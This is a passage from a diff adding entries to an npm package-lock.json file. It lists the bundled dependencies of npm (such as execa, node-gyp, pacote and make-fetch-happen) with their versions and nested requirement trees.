"execa": { + "version": "0.7.0", + "bundled": true, + "requires": { + "cross-spawn": "5.1.0", + "get-stream": "3.0.0", + "is-stream": "1.1.0", + "npm-run-path": "2.0.2", + "p-finally": "1.0.0", + "signal-exit": "3.0.2", + "strip-eof": "1.0.0" + }, + "dependencies": { + "cross-spawn": { + "version": "5.1.0", + "bundled": true, + "requires": { + "lru-cache": "4.1.2", + "shebang-command": "1.2.0", + "which": "1.3.0" + }, + "dependencies": { + "shebang-command": { + "version": "1.2.0", + "bundled": true, + "requires": { + "shebang-regex": "1.0.0" + }, + "dependencies": { + "shebang-regex": { + "version": "1.0.0", + "bundled": true + } + } + } + } + }, + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true + }, + "npm-run-path": { + "version": "2.0.2", + "bundled": true, + "requires": { + "path-key": "2.0.1" + }, + "dependencies": { + "path-key": { + "version": "2.0.1", + "bundled": true + } + } + }, + "p-finally": { + "version": "1.0.0", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "strip-eof": { + "version": "1.0.0", + "bundled": true + } + } + }, + "lcid": { + "version": "1.0.0", + "bundled": true, + "requires": { + "invert-kv": "1.0.0" + }, + "dependencies": { + "invert-kv": { + "version": "1.0.0", + "bundled": true + } + } + }, + "mem": { + "version": "1.1.0", + "bundled": true, + "requires": { + "mimic-fn": "1.2.0" + }, + "dependencies": { + "mimic-fn": { + "version": "1.2.0", + "bundled": true + } + } + } + } + }, + "require-directory": { + "version": "2.1.1", + "bundled": true + }, + "require-main-filename": { + "version": "1.0.1", + "bundled": true + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true + }, + "string-width": { + "version": "2.1.1", + "bundled": true, + "requires": { + "is-fullwidth-code-point": "2.0.0", + "strip-ansi": "4.0.0" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "2.0.0", + "bundled": true + } + } + }, + "which-module": { + "version": "2.0.0", + "bundled": true + }, + "y18n": { + "version": "3.2.1", + "bundled": true + }, + "yargs-parser": { + "version": "9.0.2", + "bundled": true, + "requires": { + "camelcase": "4.1.0" + }, + "dependencies": { + "camelcase": { + "version": "4.1.0", + "bundled": true + } + } + } + } + } + } + }, + "lock-verify": { + "version": "2.0.2", + "bundled": true, + "requires": { + "npm-package-arg": "6.1.0", + "semver": "5.5.0" + } + }, + "lockfile": { + "version": "1.0.4", + "bundled": true, + "requires": { + "signal-exit": "3.0.2" + }, + "dependencies": { + "signal-exit": { + "version": "3.0.2", + "bundled": true + } + } + }, + "lodash._baseindexof": { + "version": "3.1.0", + "bundled": true + }, + "lodash._baseuniq": { + "version": "4.6.0", + "bundled": true, + "requires": { + "lodash._createset": "4.0.3", + "lodash._root": "3.0.1" + }, + "dependencies": { + "lodash._createset": { + "version": "4.0.3", + "bundled": true + }, + "lodash._root": { + "version": "3.0.1", + "bundled": true + } + } + }, + "lodash._bindcallback": { + "version": "3.0.1", + "bundled": true + }, + "lodash._cacheindexof": { + "version": "3.0.2", + "bundled": true + }, + "lodash._createcache": { + "version": "3.1.2", + "bundled": true, + "requires": { + "lodash._getnative": "3.9.1" + } + }, + "lodash._getnative": { + "version": "3.9.1", + "bundled": true + }, + "lodash.clonedeep": { + "version": "4.5.0", + "bundled": true + }, + "lodash.restparam": { + "version": "3.6.1", + "bundled": true + }, + "lodash.union": { + "version": "4.6.0", + "bundled": true + }, + "lodash.uniq": { + "version": "4.5.0", + "bundled": true + }, + "lodash.without": { + "version": "4.4.0", + "bundled": true + }, + "lru-cache": { + "version": "4.1.2", + "bundled": true, + "requires": { + "pseudomap": "1.0.2", + "yallist": "2.1.2" + }, + "dependencies": { + "pseudomap": { + "version": "1.0.2", + "bundled": true + }, + "yallist": { + "version": "2.1.2", + "bundled": true + } + } + }, + "meant": { + "version": "1.0.1", + "bundled": true + }, + "mississippi": { + "version": "3.0.0", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "3.0.0", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.6" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "3.0.0", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.6", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "mkdirp": { + "version": "0.5.1", + "bundled": true, + "requires": { + "minimist": "0.0.8" + }, + "dependencies": { + "minimist": { + "version": "0.0.8", + "bundled": true + } + } + }, + "move-concurrently": { + "version": "1.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "copy-concurrently": "1.0.5", + "fs-write-stream-atomic": "1.0.10", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" + }, + "dependencies": { + "copy-concurrently": { + "version": "1.0.5", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" + } + }, + "run-queue": { + "version": "1.0.3", + "bundled": true, + "requires": { + "aproba": "1.2.0" + } + } + } + }, + "node-gyp": { + "version": "3.6.2", + "bundled": true, + "requires": { + "fstream": "1.0.11", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "minimatch": "3.0.4", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.85.0", + "rimraf": "2.6.2", + "semver": "5.3.0", + "tar": "2.2.1", + "which": "1.3.0" + }, + "dependencies": { + "fstream": { + "version": "1.0.11", + "bundled": true, + "requires": { + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" + } + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.11" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + }, + "nopt": { + "version": "3.0.6", + "bundled": true, + "requires": { + "abbrev": "1.1.1" + } + }, + "semver": { + "version": "5.3.0", + "bundled": true + }, + "tar": { + "version": "2.2.1", + "bundled": true, + "requires": { + "block-stream": "0.0.9", + "fstream": "1.0.11", + "inherits": "2.0.3" + }, + "dependencies": { + "block-stream": { + "version": "0.0.9", + "bundled": true, + "requires": { + "inherits": "2.0.3" + } + } + } + } + } + }, + "nopt": { + "version": "4.0.1", + "bundled": true, + "requires": { + "abbrev": "1.1.1", + "osenv": "0.1.5" + } + }, + "normalize-package-data": { + "version": "2.4.0", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "is-builtin-module": "1.0.0", + "semver": "5.5.0", + "validate-npm-package-license": "3.0.3" + }, + "dependencies": { + "is-builtin-module": { + "version": "1.0.0", + "bundled": true, + "requires": { + "builtin-modules": "1.1.1" + }, + "dependencies": { + "builtin-modules": { + "version": "1.1.1", + "bundled": true + } + } + } + } + }, + "npm-audit-report": { + "version": "1.0.9", + "bundled": true, + "requires": { + "cli-table2": "0.2.0", + "console-control-strings": "1.1.0" + }, + "dependencies": { + "console-control-strings": { + "version": "1.1.0", + "bundled": true + } + } + }, + "npm-cache-filename": { + "version": "1.0.2", + "bundled": true + }, + "npm-install-checks": { + "version": "3.0.0", + "bundled": true, + "requires": { + "semver": "5.5.0" + } + }, + "npm-lifecycle": { + "version": "2.0.1", + "bundled": true, + "requires": { + "byline": "5.0.0", + "graceful-fs": "4.1.11", + "node-gyp": "3.6.2", + "resolve-from": "4.0.0", + "slide": "1.1.6", + "uid-number": "0.0.6", + "umask": "1.1.0", + "which": "1.3.0" + }, + "dependencies": { + "byline": { + "version": "5.0.0", + "bundled": true + }, + "resolve-from": { + "version": "4.0.0", + "bundled": true + } + } + }, + "npm-package-arg": { + "version": "6.1.0", + "bundled": true, + "requires": { + "hosted-git-info": "2.6.0", + "osenv": "0.1.5", + "semver": "5.5.0", + "validate-npm-package-name": "3.0.0" + } + }, + "npm-packlist": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" + }, + "dependencies": { + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "requires": { + "minimatch": "3.0.4" + }, + "dependencies": { + "minimatch": { + "version": "3.0.4", + "bundled": true, + "requires": { + "brace-expansion": "1.1.8" + }, + "dependencies": { + "brace-expansion": { + "version": "1.1.8", + "bundled": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + }, + "dependencies": { + "balanced-match": { + "version": "1.0.0", + "bundled": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true + } + } + } + } + } + } + }, + "npm-bundled": { + "version": "1.0.3", + "bundled": true + } + } + }, + "npm-profile": { + "version": "3.0.1", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "make-fetch-happen": "2.6.0" + }, + "dependencies": { + "make-fetch-happen": { + "version": "2.6.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.3.0", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.0.0", + "https-proxy-agent": "2.1.1", + "lru-cache": "4.1.2", + "mississippi": "1.3.1", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.3.0" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.3.0", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.0.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "2.6.9" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "2.6.9", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.1.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "mississippi": { + "version": "1.3.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.0", + "duplexify": "3.5.3", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "1.0.3", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.6" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "1.0.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.3", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.6", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.1", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.19" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.19", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + } + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } + } + } + }, + "npm-registry-client": { + "version": "8.5.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "graceful-fs": "4.1.11", + "normalize-package-data": "2.4.0", + "npm-package-arg": "6.1.0", + "npmlog": "4.1.2", + "once": "1.4.0", + "request": "2.85.0", + "retry": "0.10.1", + "safe-buffer": "5.1.2", + "semver": "5.5.0", + "slide": "1.1.6", + "ssri": "5.3.0" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "npm-registry-fetch": { + "version": "1.1.0", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "figgy-pudding": "2.0.1", + "lru-cache": "4.1.2", + "make-fetch-happen": "3.0.0", + "npm-package-arg": "6.1.0", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "figgy-pudding": { + "version": "2.0.1", + "bundled": true + }, + "make-fetch-happen": { + "version": "3.0.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.4.1", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.1", + "lru-cache": "4.1.2", + "mississippi": "3.0.0", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.3.0" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.4.1", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.2.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.2", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.21" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.21", + "bundled": true, + "requires": { + "safer-buffer": "2.1.2" + }, + "dependencies": { + "safer-buffer": { + "version": "2.1.2", + "bundled": true + } + } + } + } + } + } + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "requires": { + "err-code": "1.1.2", + "retry": "0.10.1" + }, + "dependencies": { + "err-code": { + "version": "1.1.2", + "bundled": true + }, + "retry": { + "version": "0.10.1", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "socks": { + "version": "1.1.10", + "bundled": true, + "requires": { + "ip": "1.1.5", + "smart-buffer": "1.1.15" + }, + "dependencies": { + "ip": { + "version": "1.1.5", + "bundled": true + }, + "smart-buffer": { + "version": "1.1.15", + "bundled": true + } + } + } + } + } + } + } + } + }, + "npm-user-validate": { + "version": "1.0.0", + "bundled": true + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "requires": { + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" + }, + "dependencies": { + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "requires": { + "delegates": "1.0.0", + "readable-stream": "2.3.6" + }, + "dependencies": { + "delegates": { + "version": "1.0.0", + "bundled": true + } + } + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "requires": { + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" + }, + "dependencies": { + "object-assign": { + "version": "4.1.1", + "bundled": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + }, + "dependencies": { + "code-point-at": { + "version": "1.1.0", + "bundled": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "requires": { + "number-is-nan": "1.0.1" + }, + "dependencies": { + "number-is-nan": { + "version": "1.0.1", + "bundled": true + } + } + } + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "requires": { + "ansi-regex": "2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "2.1.1", + "bundled": true + } + } + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "requires": { + "string-width": "1.0.2" + } + } + } + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true + } + } + }, + "once": { + "version": "1.4.0", + "bundled": true, + "requires": { + "wrappy": "1.0.2" + } + }, + "opener": { + "version": "1.4.3", + "bundled": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "requires": { + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" + }, + "dependencies": { + "os-homedir": { + "version": "1.0.2", + "bundled": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true + } + } + }, + "pacote": { + "version": "7.6.1", + "bundled": true, + "requires": { + "bluebird": "3.5.1", + "cacache": "10.0.4", + "get-stream": "3.0.0", + "glob": "7.1.2", + "lru-cache": "4.1.2", + "make-fetch-happen": "2.6.0", + "minimatch": "3.0.4", + "mississippi": "3.0.0", + "mkdirp": "0.5.1", + "normalize-package-data": "2.4.0", + "npm-package-arg": "6.1.0", + "npm-packlist": "1.1.10", + "npm-pick-manifest": "2.1.0", + "osenv": "0.1.5", + "promise-inflight": "1.0.1", + "promise-retry": "1.1.1", + "protoduck": "5.0.0", + "rimraf": "2.6.2", + "safe-buffer": "5.1.2", + "semver": "5.5.0", + "ssri": "5.3.0", + "tar": "4.4.2", + "unique-filename": "1.1.0", + "which": "1.3.0" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "bundled": true + }, + "make-fetch-happen": { + "version": "2.6.0", + "bundled": true, + "requires": { + "agentkeepalive": "3.4.0", + "cacache": "10.0.4", + "http-cache-semantics": "3.8.1", + "http-proxy-agent": "2.1.0", + "https-proxy-agent": "2.2.0", + "lru-cache": "4.1.2", + "mississippi": "1.3.1", + "node-fetch-npm": "2.0.2", + "promise-retry": "1.1.1", + "socks-proxy-agent": "3.0.1", + "ssri": "5.3.0" + }, + "dependencies": { + "agentkeepalive": { + "version": "3.4.0", + "bundled": true, + "requires": { + "humanize-ms": "1.2.1" + }, + "dependencies": { + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "requires": { + "ms": "2.1.1" + }, + "dependencies": { + "ms": { + "version": "2.1.1", + "bundled": true + } + } + } + } + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "https-proxy-agent": { + "version": "2.2.0", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "debug": "3.1.0" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + }, + "dependencies": { + "es6-promisify": { + "version": "5.0.0", + "bundled": true, + "requires": { + "es6-promise": "4.2.4" + }, + "dependencies": { + "es6-promise": { + "version": "4.2.4", + "bundled": true + } + } + } + } + }, + "debug": { + "version": "3.1.0", + "bundled": true, + "requires": { + "ms": "2.0.0" + }, + "dependencies": { + "ms": { + "version": "2.0.0", + "bundled": true + } + } + } + } + }, + "mississippi": { + "version": "1.3.1", + "bundled": true, + "requires": { + "concat-stream": "1.6.1", + "duplexify": "3.5.4", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.2", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "1.0.3", + "pumpify": "1.4.0", + "stream-each": "1.2.2", + "through2": "2.0.3" + }, + "dependencies": { + "concat-stream": { + "version": "1.6.1", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "typedarray": "0.0.6" + }, + "dependencies": { + "typedarray": { + "version": "0.0.6", + "bundled": true + } + } + }, + "duplexify": { + "version": "3.5.4", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "inherits": "2.0.3", + "readable-stream": "2.3.6", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "end-of-stream": { + "version": "1.4.1", + "bundled": true, + "requires": { + "once": "1.4.0" + } + }, + "flush-write-stream": { + "version": "1.0.2", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "requires": { + "inherits": "2.0.3", + "readable-stream": "2.3.6" + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "requires": { + "cyclist": "0.2.2", + "inherits": "2.0.3", + "readable-stream": "2.3.6" + }, + "dependencies": { + "cyclist": { + "version": "0.2.2", + "bundled": true + } + } + }, + "pump": { + "version": "1.0.3", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + }, + "pumpify": { + "version": "1.4.0", + "bundled": true, + "requires": { + "duplexify": "3.5.4", + "inherits": "2.0.3", + "pump": "2.0.1" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "once": "1.4.0" + } + } + } + }, + "stream-each": { + "version": "1.2.2", + "bundled": true, + "requires": { + "end-of-stream": "1.4.1", + "stream-shift": "1.0.0" + }, + "dependencies": { + "stream-shift": { + "version": "1.0.0", + "bundled": true + } + } + }, + "through2": { + "version": "2.0.3", + "bundled": true, + "requires": { + "readable-stream": "2.3.6", + "xtend": "4.0.1" + }, + "dependencies": { + "xtend": { + "version": "4.0.1", + "bundled": true + } + } + } + } + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "requires": { + "encoding": "0.1.12", + "json-parse-better-errors": "1.0.1", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "encoding": { + "version": "0.1.12", + "bundled": true, + "requires": { + "iconv-lite": "0.4.19" + }, + "dependencies": { + "iconv-lite": { + "version": "0.4.19", + "bundled": true + } + } + }, + "json-parse-better-errors": { + "version": "1.0.1", + "bundled": true + } + } + }, + "socks-proxy-agent": { + "version": "3.0.1", + "bundled": true, + "requires": { + "agent-base": "4.2.0", + "socks": "1.1.10" + }, + "dependencies": { + "agent-base": { + "version": "4.2.0", + "bundled": true, + "requires": { + "es6-promisify": "5.0.0" + 